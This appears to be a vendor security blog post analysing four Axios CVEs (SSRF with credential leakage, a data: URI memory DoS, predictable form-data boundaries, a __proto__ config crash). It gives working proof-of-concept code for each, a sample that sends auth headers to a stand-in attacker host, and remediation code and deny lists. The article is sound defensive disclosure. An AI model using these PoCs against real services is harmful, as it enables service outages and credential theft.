Vulnerability Analysis
axios
supply chain security
SSRF
denial of service
+8 more

Axios Supply Chain Vulnerabilities: SSRF, DoS & Credential Leakage — A Complete Security Analysis

SecureCodeReviews Team
April 4, 2026
18 min read
Share

Introduction: Why Axios Vulnerabilities Matter to Every Developer

Axios is the most popular HTTP client library in the JavaScript ecosystem. With over 200,000 dependent repositories on GitHub and 45+ million weekly downloads on npm, an Axios vulnerability is not an isolated incident — it is a supply chain event that ripples across the entire web development ecosystem.

Between March 2025 and February 2026, four distinct security advisories were published against Axios, ranging from SSRF and credential leakage to denial-of-service attacks, exposing critical gaps in URL handling, configuration merging, content decoding, and transitive dependency management.

This article provides a technical deep-dive into each vulnerability, explains the root cause at the code level, demonstrates proof-of-concept exploits, and delivers actionable remediation guidance for developers and security teams.

Key Takeaway: If your application uses Axios on the server side and processes any form of user-controlled input (URLs, configuration, file uploads), you are likely affected by one or more of these vulnerabilities.


Timeline of Axios Security Advisories (2025–2026)

DateCVEAdvisorySeverityCVSSSummary
Mar 7, 2025CVE-2025-27152GHSA-jr5f-v2jv-69x6ModerateSSRF & credential leakage via absolute URL
Jul 23, 2025CVE-2025-54371GHSA-rm8p-cx58-hcvxHigh (7.5)AV:N/AC:L/PR:N/UI:NPredictable multipart boundary via form-data@4.0.0
Sep 12, 2025CVE-2025-58754GHSA-4hjh-wcwx-xvwjHigh (7.5)AV:N/AC:L/PR:N/UI:NDoS via unbounded data: URI decode
Feb 8, 2026CVE-2026-25639GHSA-43fc-jf86-j433High (7.5)AV:N/AC:L/PR:N/UI:NDoS via proto key in mergeConfig

Sources: GitHub Security Advisories (GHSA), National Vulnerability Database (NVD)


Vulnerability #1: SSRF & Credential Leakage via Absolute URL (CVE-2025-27152)

Overview

FieldDetail
CVECVE-2025-27152
AdvisoryGHSA-jr5f-v2jv-69x6
PublishedMarch 7, 2025
SeverityModerate
AffectedAxios <= 1.7.9, <= 0.29.0
PatchedAxios 1.8.2, 0.30.0
Reporter@lambdasawa
CWECWE-918 (Server-Side Request Forgery)

The Problem

When Axios is configured with a baseURL, developers naturally expect all requests to be scoped to that base domain. However, if a user-controlled value passed to axios.get() or similar methods is an absolute URL (e.g., http://attacker.test/), Axios silently ignores the baseURL and sends the request to the attacker-controlled domain instead.

This creates two critical attack vectors:

  1. Server-Side Request Forgery (SSRF): The attacker can force the server to make requests to internal services (e.g., AWS metadata at 169.254.169.254, internal APIs, databases).
  2. Credential Leakage: Any headers configured on the Axios instance — including API keys, bearer tokens, and authentication credentials — are sent to the attacker's server.

Root Cause Analysis

The vulnerability lies in how Axios combines baseURL with the request path. When the path is an absolute URL, Axios's URL resolution logic treats it as the final URL, completely bypassing the baseURL.

Vulnerable Code Pattern

// VULNERABLE: User input passed directly as URL path
import axios from "axios";

const internalAPI = axios.create({
  baseURL: "http://internal-api.company.com/api/v1/users/",
  headers: {
    "X-API-KEY": "sk_live_super_secret_key_12345",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIs..."
  },
});

// Developer expects: http://internal-api.company.com/api/v1/users/{userId}
// But if userId = "http://attacker.test/"...
async function getUser(userId: string) {
  const response = await internalAPI.get(userId);
  return response.data;
}

// Attacker sends: userId = "http://evil.com/"
// Axios sends GET http://evil.com/ with X-API-KEY and Authorization headers!

Proof of Concept

# Set up two servers to demonstrate the bypass
mkdir /tmp/server1 /tmp/server2
echo "this is the internal API" > /tmp/server1/index.html
echo "this is the attacker server" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
// poc.mjs
import axios from "axios";

const client = axios.create({
  baseURL: "http://localhost:10001/",
  headers: { "X-API-KEY": "secret-key-leaked" }
});

// Expected: GET http://localhost:10001/http://localhost:10002/
// Actual:   GET http://localhost:10002/ (with X-API-KEY header!)
const response = await client.get("http://localhost:10002/");
console.log(response.data); // "this is the attacker server"

Secure Code Fix

// SECURE: Validate that user input is a relative path, not an absolute URL
import axios from "axios";

const internalAPI = axios.create({
  baseURL: "http://internal-api.company.com/api/v1/users/",
  headers: { "X-API-KEY": "sk_live_key" },
});

function isAbsoluteURL(url: string): boolean {
  return /^https?:\/\//i.test(url) || url.startsWith("//");
}

async function getUser(userId: string) {
  // Block absolute URLs to prevent SSRF
  if (isAbsoluteURL(userId)) {
    throw new Error("Invalid user ID: absolute URLs are not allowed");
  }

  // Sanitize: strip path traversal, encode the value
  const sanitizedId = encodeURIComponent(userId);
  const response = await internalAPI.get(sanitizedId);
  return response.data;
}

Who Is Affected?

Any application that:

  • Uses baseURL with an Axios instance
  • Passes user-controlled values as the URL/path parameter in .get(), .post(), etc.
  • Runs on the server (Node.js) — client-side CORS partially mitigates this

Vulnerability #2: DoS via Unbounded data: URI Decode (CVE-2025-58754)

Overview

FieldDetail
CVECVE-2025-58754
AdvisoryGHSA-4hjh-wcwx-xvwj
PublishedSeptember 12, 2025
SeverityHigh (CVSS 7.5)
AffectedAxios < 1.11.0, < 0.29.0
PatchedAxios 1.12.0, 0.30.0
Reporter@AmeerAssadi
CWECWE-770 (Allocation of Resources Without Limits)

The Problem

When Axios receives a URL with the data: scheme on Node.js, it does not perform an HTTP request. Instead, the Node adapter decodes the entire Base64 payload into memory in a single Buffer.from() call and returns a synthetic 200 response.

The critical issue: this code path completely ignores maxContentLength and maxBodyLength limits (which only protect HTTP responses). An attacker can supply a massive data: URI and crash the Node.js process with an out-of-memory error — even if the developer explicitly set content size limits.

Root Cause: The Unprotected data: Code Path

The Axios Node HTTP adapter (lib/adapters/http.js) has a special branch for the data: protocol:

// Inside the Axios HTTP adapter
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405 });
  }
  // WARNING: Decodes ENTIRE payload into memory — no size check!
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200 });
}

The fromDataURI() helper in lib/helpers/fromDataURI.js then decodes everything in one shot:

// No size validation whatsoever — unbounded memory allocation
const buffer = Buffer.from(
  decodeURIComponent(body),
  isBase64 ? 'base64' : 'utf8'
);

For normal HTTP responses, Axios tracks totalResponseBytes and rejects when it exceeds maxContentLength. No such protection exists for data: URIs.

Proof of Concept

// poc-dos.js — Crashes Node.js with OOM
const axios = require("axios");

async function main() {
  // Crafts a ~120 MB data: URI
  const base64Size = 160_000_000;
  const base64 = "A".repeat(base64Size);
  const uri = "data:application/octet-stream;base64," + base64;

  console.log("Sending data: URI with", base64.length, "bytes...");

  // maxContentLength is set but IGNORED for data: URIs!
  const response = await axios.get(uri, {
    responseType: "arraybuffer",
    maxContentLength: 8 * 1024,  // 8KB limit — completely bypassed
    maxBodyLength: 8 * 1024,
  });

  console.log("Received:", response.data.length, "bytes");
}

main().catch(console.error);
# Run with limited heap to force a crash:
node --max-old-space-size=100 poc-dos.js

# Output:
# FATAL ERROR: Reached heap limit Allocation failed
#   - JavaScript heap out of memory

A common pattern in modern web apps is a link preview service that fetches URLs submitted by users. If the service allows data: URLs and uses Axios:

// VULNERABLE: Link preview service
app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  const allowed = new Set(["http:", "https:", "data:"]);

  const u = new URL(url);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "bad" });

  // Axios ignores maxContentLength for data: URIs — DoS!
  const r = await axios.get(url, {
    responseType: "stream",
    maxContentLength: 8 * 1024,
  });
});
// SECURE: Block data: URIs — only allow HTTP(S)
app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  const u = new URL(url);

  // Only allow HTTP(S) — block data:, file:, ftp:, etc.
  if (!["http:", "https:"].includes(u.protocol)) {
    return res.status(400).json({ error: "Only HTTP/HTTPS URLs allowed" });
  }

  const r = await axios.get(url, {
    responseType: "stream",
    maxContentLength: 1024 * 1024, // 1MB
  });
});

Vulnerability #3: Predictable Multipart Boundaries via form-data (CVE-2025-54371)

Overview

FieldDetail
CVECVE-2025-54371 (also tracked as CVE-2025-7783)
AdvisoryGHSA-rm8p-cx58-hcvx
PublishedJuly 23, 2025
SeverityHigh (CVSS 7.5)
AffectedAxios 1.10.0 (via form-data@4.0.0)
PatchedAxios 1.11.0
Reporter@izzygld
RelatedSnyk Advisory SNYK-JS-FORMDATA-10841150

The Problem

This is a transitive supply chain vulnerability. The form-data package version 4.0.0 (a dependency of Axios 1.10.0) uses Math.random() to generate multipart boundary strings. Since Math.random() is a non-cryptographic PRNG (pseudo-random number generator), the boundary values are predictable.

An attacker who can observe or predict the boundary can:

  1. Inject additional form fields into multipart requests (HTTP Parameter Pollution)
  2. Manipulate file upload boundaries to alter parsed content
  3. Exploit backend deserialization logic that relies on boundary delimiters

Why Math.random() Is Not Enough

// VULNERABLE: form-data@4.0.0 — Predictable boundary generation
FormData.prototype._generateBoundary = function() {
  var boundary = '--------------------------';
  for (var i = 0; i < 24; i++) {
    boundary += Math.floor(Math.random() * 10).toString(16);
  }
  this._boundary = boundary;
};

Math.random() in V8 uses the xorshift128+ algorithm, which is deterministic given the internal state. Research has shown that with just a few observed outputs, an attacker can reconstruct the PRNG state and predict all future values.

// SECURE: form-data@4.0.4+ — Cryptographically secure boundary
const crypto = require('crypto');

FormData.prototype._generateBoundary = function() {
  this._boundary = '--------------------------'
    + crypto.randomBytes(12).toString('hex');
};

Impact Assessment

ScenarioRisk
File upload APIsAttacker injects additional files or overrides existing ones
Multipart form submissionsHidden fields injected into parsed form data
APIs with content-type based routingBoundary manipulation causes misrouting
WAF/IDS bypassCrafted boundaries evade multipart inspection rules

Remediation

# Check if you're affected
npm ls form-data

# Update Axios to 1.11.0+ (which uses patched form-data)
npm install axios@latest

# Or pin form-data directly
npm install form-data@4.0.4

Vulnerability #4: DoS via proto Key in mergeConfig (CVE-2026-25639)

Overview

FieldDetail
CVECVE-2026-25639
AdvisoryGHSA-43fc-jf86-j433
PublishedFebruary 8, 2026
SeverityHigh (CVSS 7.5)
AffectedAxios <= 1.13.4, <= 0.30.2
PatchedAxios 1.13.5, 0.30.3
Reporter@hackerman70000
CWECWE-754, CWE-1321

The Problem

The mergeConfig function in Axios crashes with an unhandled TypeError when it encounters a configuration object that contains proto as an own property. This is not prototype pollution — the application crashes before any assignment occurs — making it a pure denial-of-service vulnerability.

Root Cause: Unsafe Property Lookup in mergeMap

The vulnerability is in lib/core/mergeConfig.js:

// lib/core/mergeConfig.js — lines 98-101
utils.forEach(
  Object.keys({ ...config1, ...config2 }),
  function computeConfigValue(prop) {
    const merge = mergeMap[prop] || mergeDeepProperties;
    //    ^^^^^^^^^^^^^^^^
    //    When prop = "__proto__":
    //    1. mergeMap["__proto__"] -> Object.prototype (truthy!)
    //    2. Object.prototype || mergeDeepProperties -> Object.prototype
    //    3. Object.prototype(...) -> TypeError: merge is not a function!

    const configValue = merge(config1[prop], config2[prop], prop);
    (utils.isUndefined(configValue) && merge !== mergeDirectKeys)
      || (config[prop] = configValue);
  }
);

The issue unfolds in four steps:

  1. JSON.parse('{"proto": {"x": 1}}') creates an object with proto as an own enumerable property
  2. Object.keys() includes "proto" in the iteration
  3. mergeMap["proto"] performs a prototype chain lookup, hitting Object.prototype — which is truthy
  4. Axios tries to call Object.prototype(...) as a function, throwing TypeError: merge is not a function

Proof of Concept

// poc-proto-dos.mjs
import axios from "axios";

// Simulates user-controlled JSON parsed and passed to Axios
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');

// This crashes immediately with:
// TypeError: merge is not a function
//     at computeConfigValue (lib/core/mergeConfig.js:100:25)
await axios.get("https://httpbin.org/get", maliciousConfig);

Attack Scenario

Any API endpoint that accepts user configuration and passes it to Axios is vulnerable:

// VULNERABLE: Express API that proxies with user-supplied config
app.post("/proxy", async (req, res) => {
  const { url, config } = req.body;
  // If config = JSON.parse('{"__proto__": {"x": 1}}')
  // This crashes the entire Node.js process!
  const response = await axios.get(url, config);
  res.json(response.data);
});
// SECURE: Allowlist config keys before passing to Axios
app.post("/proxy", async (req, res) => {
  const { url, config } = req.body;

  const safeConfig: Record<string, unknown> = {};
  const allowedKeys = ["timeout", "headers", "params", "responseType"];
  const dangerousKeys = new Set(["__proto__", "constructor", "prototype"]);

  for (const key of allowedKeys) {
    if (config && key in config && !dangerousKeys.has(key)) {
      safeConfig[key] = config[key];
    }
  }

  const response = await axios.get(url, safeConfig);
  res.json(response.data);
});

Comprehensive Remediation Checklist

Step 1: Identify Your Axios Version

# Check the installed version
npm ls axios

# Check all projects on your system
find ~/projects -name "package.json" -not -path "*/node_modules/*" \
  -exec grep -l "axios" {} \;

Step 2: Update to the Latest Patched Version

# Update Axios to latest (must be >= 1.13.5 to cover ALL four CVEs)
npm install axios@latest

# Verify the update
npm ls axios

Step 3: Audit Transitive Dependencies

# Check for known vulnerabilities
npm audit

# Specifically check form-data
npm ls form-data
# Ensure form-data >= 4.0.4

Step 4: Apply Defense-in-Depth Code Fixes

Even after updating Axios, these defensive coding practices protect against future vulnerabilities:

// defense-in-depth.ts — Recommended Axios wrapper

import axios, { AxiosInstance, AxiosRequestConfig } from "axios";

/**
 * Create a hardened Axios instance with built-in protections.
 */
export function createSecureClient(
  baseURL: string,
  config?: AxiosRequestConfig
): AxiosInstance {
  const client = axios.create({
    baseURL,
    timeout: 10000,
    maxContentLength: 10 * 1024 * 1024, // 10MB
    maxBodyLength: 10 * 1024 * 1024,
    maxRedirects: 5,
    ...config,
  });

  // Interceptor: Block non-HTTP(S) protocols
  client.interceptors.request.use((reqConfig) => {
    const url = reqConfig.url || "";
    const fullURL = reqConfig.baseURL
      ? new URL(url, reqConfig.baseURL).toString()
      : url;

    if (fullURL && !/^https?:\/\//i.test(fullURL)) {
      throw new Error("Blocked non-HTTP protocol: " + fullURL);
    }

    // Block SSRF: Ensure resolved URL starts with baseURL
    if (reqConfig.baseURL && !fullURL.startsWith(reqConfig.baseURL)) {
      throw new Error("URL does not match baseURL — possible SSRF");
    }

    return reqConfig;
  });

  return client;
}

/**
 * Sanitize user-provided config to prevent __proto__ DoS.
 */
export function sanitizeAxiosConfig(
  userConfig: Record<string, unknown>
): Record<string, unknown> {
  const ALLOWED_KEYS = new Set([
    "timeout", "headers", "params", "responseType",
    "maxContentLength", "maxBodyLength",
  ]);
  const DANGEROUS_KEYS = new Set([
    "__proto__", "constructor", "prototype",
  ]);

  const safe: Record<string, unknown> = {};
  for (const key of Object.keys(userConfig)) {
    if (DANGEROUS_KEYS.has(key)) continue;
    if (ALLOWED_KEYS.has(key)) {
      safe[key] = userConfig[key];
    }
  }
  return safe;
}

Impact on the JavaScript Ecosystem

Scale of Exposure

Axios's position in the npm dependency graph means these vulnerabilities have cascading impact:

MetricValue
Weekly npm downloads45+ million
GitHub dependents200,000+ repositories
Direct dependents on npm120,000+ packages
Average depth in dependency tree2–4 levels

Many popular frameworks and tools bundle Axios as a transitive dependency: AWS SDK middleware, Stripe Node.js SDK, many GraphQL clients, headless CMS connectors, testing frameworks, and more.

Supply Chain Lessons

These four vulnerabilities collectively illustrate the three pillars of supply chain risk:

  1. Direct vulnerabilities (CVE-2025-27152, CVE-2025-58754, CVE-2026-25639) — bugs in Axios's own code
  2. Transitive vulnerabilities (CVE-2025-54371) — a bug in form-data inherited by Axios
  3. Architectural assumptions — developers trust that baseURL scoping and maxContentLength limits always work

Detection: How to Find These Vulnerabilities

Using ShieldX Dependency Scanner

SecureCodeReviews' ShieldX scanner can automatically detect vulnerable Axios versions in your package.json:

# Scan your dependencies against the OSV.dev database
curl -s -X POST https://securecodereviews.com/api/shieldx/scan-deps \
  -H "Content-Type: application/json" \
  -d '{"input": "$(cat package.json)"}' | jq .

Manual Audit Queries

# Check for vulnerable patterns in your code

# 1. Find user input passed to axios URL parameter
grep -rn "axios\.get(.*req\." src/
grep -rn "axios\.post(.*req\." src/

# 2. Find data: URI handling
grep -rn "data:" src/ | grep -i "axios"

# 3. Find JSON.parse passed to Axios config
grep -rn "JSON.parse" src/ | grep -i "axios"

# 4. Check Axios version
npm ls axios

Recommendations for Security Teams

Immediate Actions

  1. Patch now: Update Axios to >= 1.13.5 across all projects
  2. Audit form-data: Ensure form-data >= 4.0.4 in your dependency tree
  3. Run npm audit: Flag and fix all known vulnerabilities
  4. Search for vulnerable patterns: Grep for axios.get(userInput) patterns

Long-Term Strategy

  1. Pin dependency versions: Use exact versions in package.json and always review lockfile diffs
  2. Automate SCA: Integrate Software Composition Analysis (Snyk, Dependabot, ShieldX) into CI/CD
  3. Input validation at boundaries: Never pass raw user input to HTTP client methods
  4. Protocol allowlisting: Explicitly block non-HTTP schemes on server-side HTTP clients
  5. Configuration sanitization: Allowlist Axios config keys when accepting user-provided settings
  6. Monitor advisories: Subscribe to GitHub Security Advisories for your dependencies

Conclusion

The Axios vulnerability wave of 2025–2026 is a textbook demonstration of why supply chain security matters. A single library — trusted by millions — had four distinct vulnerabilities disclosed in under a year, each exploiting a different aspect of HTTP client behavior that developers take for granted.

The most dangerous assumption is that well-configured libraries cannot be abused. As CVE-2025-58754 proved, setting maxContentLength gives a false sense of security when the code path that matters does not respect it. As CVE-2025-27152 showed, baseURL does not provide the scoping guarantee that developers expect.

Patch, audit, and defend in depth. No single control is sufficient.


References

  1. GHSA-jr5f-v2jv-69x6 — SSRF & Credential Leakage via Absolute URL. GitHub Advisory, March 2025. https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
  2. GHSA-4hjh-wcwx-xvwj — DoS via data: URL Decode (CVE-2025-58754). GitHub Advisory, September 2025. https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
  3. GHSA-rm8p-cx58-hcvx — Predictable Boundary Values via form-data (CVE-2025-54371). GitHub Advisory, July 2025. https://github.com/axios/axios/security/advisories/GHSA-rm8p-cx58-hcvx
  4. GHSA-43fc-jf86-j433 — DoS via proto Key in mergeConfig (CVE-2026-25639). GitHub Advisory, February 2026. https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
  5. CVE-2025-27152 — National Vulnerability Database. https://nvd.nist.gov/vuln/detail/CVE-2025-27152
  6. SNYK-JS-FORMDATA-10841150 — Snyk Vulnerability Database. https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150
  7. OSV.dev — Open Source Vulnerability Database (Google). https://osv.dev/list?q=axios&ecosystem=npm
  8. Axios GitHub Repositoryhttps://github.com/axios/axios
  9. CWE-918: Server-Side Request Forgery (SSRF) — MITRE. https://cwe.mitre.org/data/definitions/918.html
  10. CWE-770: Allocation of Resources Without Limits — MITRE. https://cwe.mitre.org/data/definitions/770.html

Advertisement